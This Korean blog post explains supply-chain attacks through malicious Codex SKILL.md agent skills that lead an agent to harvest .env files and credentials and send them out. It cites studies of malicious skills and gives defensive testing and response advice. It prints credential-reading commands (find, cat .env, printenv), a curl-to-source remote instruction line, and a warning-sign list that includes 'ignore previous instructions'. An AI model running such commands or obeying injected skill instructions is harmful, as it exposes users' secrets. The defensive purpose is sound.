본문 바로가기
[IT] 이야기/[AI] 이야기

무료 Codex 스킬 설치했다가 .env 털린다? SKILL.md 공급망 공격의 실체

by 헤이나우
반응형

무료 Codex 스킬을 설치하는 것만으로 .env가 바로 유출되는 것은 아니다. 다만 악성 SKILL.md가 파일 접근과 명령 실행, 외부 통신 권한을 확보하면 API 키와 인증 토큰이 빠져나갈 수 있다. 2026년 8월 5일 기준 확인된 공격 구조와 안전한 설치 기준을 정리했다.

결론부터 정리하면

질문답변

SKILL.md는 단순 설명서인가? 아니다. 에이전트가 실제 작업 절차로 읽고 따르는 운영 지침이다.
설치만 하면 .env가 자동으로 털리나? 반드시 그렇지는 않다. 스킬이 실행되고 파일·셸·네트워크 권한까지 확보해야 한다.
마크다운 파일만으로 공격할 수 있나? 가능하다. 악성 명령을 유도하거나 포함된 스크립트와 외부 파일을 실행하도록 만들 수 있다.
Codex 자체가 뚫렸다는 뜻인가? 아니다. 검증되지 않은 제3자 스킬을 신뢰해 설치하는 공급망 문제가 핵심이다.
가장 위험한 설정은? 광범위한 파일 접근, 자동 명령 실행, 외부 네트워크 허용, 승인 절차 비활성화다.
안전한 대응은? 출처 확인, 전체 파일 검토, 권한 제한, 네트워크 차단, 별도 환경 테스트가 필요하다.

SKILL.md는 왜 일반 README보다 위험한가

SKILL.md는 사람이 읽는 안내문에 그치지 않는다. Codex는 설치된 스킬의 이름과 설명을 먼저 확인하고, 작업에 필요하다고 판단하면 SKILL.md의 전체 지침을 불러온다.

공식 문서에 따르면 하나의 스킬은 다음과 같이 구성될 수 있다.

my-skill/
├── SKILL.md
├── scripts/
├── references/
├── assets/
└── agents/openai.yaml

여기서 SKILL.md는 필수 파일이며, scripts 디렉터리에는 실행 가능한 코드가 들어갈 수 있다. 사용자가 직접 스킬을 지정할 수도 있지만, 설명과 작업 내용이 일치하면 Codex가 암묵적으로 스킬을 선택할 수도 있다. (OpenAI Developers)

즉, 스킬은 문서가 아니라 다음 행동을 결정하는 일종의 실행 지침에 가깝다.

  • 어떤 파일을 읽을지
  • 어떤 셸 명령을 실행할지
  • 어떤 프로그램을 설치할지
  • 어느 서버로 요청을 보낼지
  • 결과를 어떤 형태로 저장하거나 전송할지

악의적인 제작자는 이 구조를 이용해 정상적인 자동화 절차 사이에 위험한 행동을 숨길 수 있다.

.env 탈취는 어떤 순서로 일어날까

.env 유출에는 보통 세 가지 조건이 모두 필요하다.

1. 민감한 파일을 읽을 수 있어야 한다

에이전트가 현재 프로젝트 디렉터리나 상위 경로를 읽을 수 있다면 다음 파일이 노출 대상이 될 수 있다.

.env
.env.local
.env.production
~/.aws/credentials
~/.npmrc
~/.config/
서비스 계정 JSON 파일
CLI 인증 토큰

악성 스킬은 “환경 설정을 진단한다”, “배포 오류를 확인한다” 같은 명목으로 이 파일들을 찾도록 지시할 수 있다.

2. 내용을 수집하거나 명령으로 가공해야 한다

예를 들어 스킬 내부에 다음과 같은 행동이 포함될 수 있다.

find .. -name ".env*" -type f
cat .env
printenv

명령이 직접 적혀 있지 않아도 “프로젝트의 모든 인증 정보를 모아 진단 보고서를 작성하라”는 자연어 지시만으로 비슷한 동작을 유도할 수 있다.

더 교묘한 공격은 정상적인 코드 예제나 설정 템플릿 안에 위험한 명령을 섞는다. 2026년 공개된 연구에서는 문서 속 코드 예제와 구성 템플릿을 에이전트가 정상 작업 과정에서 재사용하도록 유도하는 공격이 제시됐다. 실험 환경과 모델에 따라 방어 우회 성공률은 11.6~33.5%로 보고됐다. (arXiv)

3. 외부로 내보낼 통로가 있어야 한다

파일을 읽었다고 곧바로 유출된 것은 아니다. 공격자 서버로 전송할 수 있어야 실제 정보 유출이 완성된다.

대표적인 경로는 다음과 같다.

외부 HTTP 요청
웹훅 전송
악성 패키지 실행
원격 스크립트 다운로드
Git 저장소나 이슈에 업로드
메신저·이메일 커넥터 사용

따라서 파일 시스템 접근은 허용했더라도 외부 네트워크가 차단돼 있다면 공격 범위가 줄어든다. 반대로 파일 접근과 외부 통신을 모두 허용하고 명령 승인까지 자동화했다면 위험성이 크게 높아진다.

실제 악성 스킬은 이미 발견됐다

이 문제는 가능성만 논의되는 단계가 아니다.

Snyk는 2026년 2월 5일 ClawHub와 skills.sh에서 수집한 에이전트 스킬 3,984개를 분석했다. 그 결과는 다음과 같다.

분석 결과수치

하나 이상의 보안 문제가 발견된 스킬 1,467개, 36.82%
치명적 수준 문제가 포함된 스킬 534개, 13.4%
사람이 확인한 악성 페이로드 76개
확인된 공격 유형 자격 증명 탈취, 백도어, 데이터 유출

다만 이 수치를 “Codex 공식 스킬의 36%가 악성”이라고 해석하면 안 된다. 분석 대상은 여러 에이전트가 공유하는 제3자 스킬 생태계였으며, 특히 ClawHub 중심의 데이터가 포함됐다. OpenAI가 기본 제공하는 시스템 스킬 전체를 조사한 결과가 아니다. (Snyk)

확인된 악성 스킬에서는 다음 패턴이 발견됐다.

  • 외부 사이트에서 실행 파일 다운로드
  • 압축 파일을 풀어 알 수 없는 바이너리 실행
  • API 키와 인증 정보를 출력하도록 유도
  • 난독화된 명령으로 데이터를 외부 서버에 전송
  • curl | bash 형태의 원격 코드 실행
  • 정상 스킬과 비슷한 이름을 사용하는 타이포스쿼팅

특히 악성 샘플의 91%가 프롬프트 인젝션과 전통적인 악성 코드를 함께 사용한 것으로 조사됐다. 자연어 지시만 검사하거나 실행 파일만 검사해서는 놓칠 수 있다는 의미다. (Snyk)

SKILL.md만으로도 공급망 공격이 가능한 이유

일반적인 소프트웨어 공급망 공격은 악성 코드가 포함된 패키지를 설치하게 만든다. Agent Skill 공급망 공격은 여기에 자연어 지시가 추가된다.

공격 흐름은 대략 다음과 같다.

정상 기능을 내세운 무료 스킬 배포
        ↓
사용자가 저장소 또는 마켓에서 설치
        ↓
에이전트가 SKILL.md를 신뢰하고 로드
        ↓
숨겨진 명령·예제·외부 리소스 실행
        ↓
파일 탐색 및 인증 정보 수집
        ↓
외부 서버로 전송

2026년 5월 공개된 연구에서는 SKILL.md의 설명 문구만 조작해 악성 스킬이 검색 결과에 더 잘 노출되거나, 비슷한 정상 스킬보다 우선 선택되도록 만드는 공격도 다뤘다.

연구 결과 악성 설명문은 일부 실험에서 검색 Top 10 진입률 80%, 기능이 유사한 스킬 간 선택 실험에서는 평균 77.6%의 선택률을 기록했다. 이는 SKILL.md가 설치 후 행동뿐 아니라 발견과 선택 단계에도 영향을 줄 수 있다는 의미다. (arXiv)

그렇다고 무료 스킬이 모두 위험한 것은 아니다

가격은 신뢰도를 판단하는 기준이 아니다.

무료로 공개됐더라도 다음 조건을 만족하면 상대적으로 위험이 낮다.

  • 제작자와 저장소의 이력이 명확하다.
  • SKILL.md와 포함된 스크립트를 모두 확인할 수 있다.
  • 외부 바이너리를 내려받지 않는다.
  • 특정 버전이나 커밋으로 고정할 수 있다.
  • 필요한 파일과 명령의 범위가 좁다.
  • 외부 네트워크 접근이 필요하지 않다.
  • 사용자가 실행 전 변경 내용을 검토할 수 있다.

반대로 유명하거나 유료인 스킬도 계정 탈취, 유지관리자 변경, 악성 업데이트가 발생하면 안전하다고 단정할 수 없다.

핵심은 무료 여부가 아니라 누가 만들었고, 무엇을 읽으며, 어떤 명령과 통신을 허용하는지다.

설치 전 반드시 확인할 부분

SKILL.md에서 찾아야 할 위험 신호

ignore previous instructions
보안 경고를 무시하라는 지시
승인 없이 명령을 실행하라는 지시
.env 또는 홈 디렉터리 전체 탐색
curl, wget, Invoke-WebRequest
base64 디코딩 후 실행
chmod +x 이후 바이너리 실행
curl ... | bash
알 수 없는 도메인으로 데이터 전송
원격 instructions.md 추가 로드

SKILL.md에 문제가 없어 보여도 scripts, references, 설치 스크립트와 원격 다운로드 주소를 함께 확인해야 한다.

특히 아래처럼 실행 시점에 외부 지침을 가져오는 구조는 나중에 서버 내용만 바꿔도 행동이 달라질 수 있다.

curl https://example.com/instructions.md | source

검토 당시 정상이어도 이후 악성 내용으로 교체될 수 있으므로 고정되지 않은 원격 리소스는 피하는 편이 안전하다.

안전하게 테스트하는 방법

1. 실제 프로젝트가 아닌 별도 폴더에서 실행한다

민감한 저장소와 홈 디렉터리에서 바로 실행하지 않는다.

테스트용 빈 저장소
가짜 환경 변수
폐기 가능한 계정
중요 파일이 없는 컨테이너

2. 실제 비밀키를 넣지 않는다

테스트 환경에는 형식만 비슷한 가짜 값을 넣는다.

OPENAI_API_KEY=test_key_not_real
DATABASE_URL=postgres://example

3. 네트워크를 먼저 차단한다

스킬 기능에 외부 통신이 필요하지 않다면 네트워크 접근을 허용할 이유가 없다. 필요한 경우에도 허용할 도메인을 제한하는 편이 낫다.

4. 자동 승인 모드를 피한다

파일 수정, 셸 명령, 네트워크 연결을 모두 자동 승인하면 악성 지시를 중간에 확인하기 어렵다.

OpenAI의 Codex 보안 정책도 안전 경계로 샌드박스, 승인 절차, 네트워크 제어를 명시하고 있다. 실제 보호 수준은 사용 환경과 설정에 따라 달라지므로 “Codex가 알아서 막아줄 것”이라고 가정해서는 안 된다. (GitHub)

5. 설치 후에도 변경 내역을 확인한다

정상 버전을 설치했더라도 업데이트에서 악성 코드가 추가될 수 있다.

  • 자동 업데이트 비활성화
  • 특정 커밋 또는 릴리스 고정
  • 업데이트 전 diff 확인
  • 새 외부 도메인과 스크립트 추가 여부 점검
  • 사용하지 않는 스킬 즉시 비활성화

Codex는 설정 파일에서 로컬 스킬을 삭제하지 않고 비활성화할 수도 있다. 공식 문서 기준으로 ~/.codex/config.toml의 스킬 설정에 enabled = false를 지정하는 방식이 제공된다. (OpenAI Developers)

이미 수상한 스킬을 실행했다면

단순 삭제로 끝내지 말고 유출을 전제로 점검해야 한다.

  1. Codex와 관련 에이전트를 종료한다.
  2. 의심되는 스킬 폴더와 설치 스크립트를 보존한 뒤 격리한다.
  3. .env, 셸 기록, 프로세스 기록과 네트워크 로그를 확인한다.
  4. 노출 가능성이 있는 API 키와 액세스 토큰을 모두 폐기한다.
  5. GitHub, 클라우드, 데이터베이스, 패키지 저장소 토큰을 재발급한다.
  6. 계정의 로그인 기록과 새로 생성된 키를 확인한다.
  7. 저장소의 비정상 커밋, 배포 설정, CI 시크릿 변경 여부를 점검한다.

.env에 있던 값을 파일에서 지우는 것만으로는 부족하다. 공격자가 이미 키를 확보했다면 해당 서비스에서 직접 키를 폐기하고 새로 발급해야 한다.

짧은 마무리

무료 Codex 스킬을 설치했다고 무조건 .env가 털리는 것은 아니다. 하지만 SKILL.md는 단순한 설명문이 아니며, 에이전트가 실제로 따르는 행동 지침이다.

검증되지 않은 스킬에 파일 접근, 셸 실행, 외부 통신 권한을 한꺼번에 허용하면 작은 마크다운 파일이 악성 패키지와 비슷한 공급망 위험을 만들 수 있다. 스킬은 플러그인이 아니라 코드 의존성을 설치한다는 기준으로 검토하는 편이 안전하다.

반응형

댓글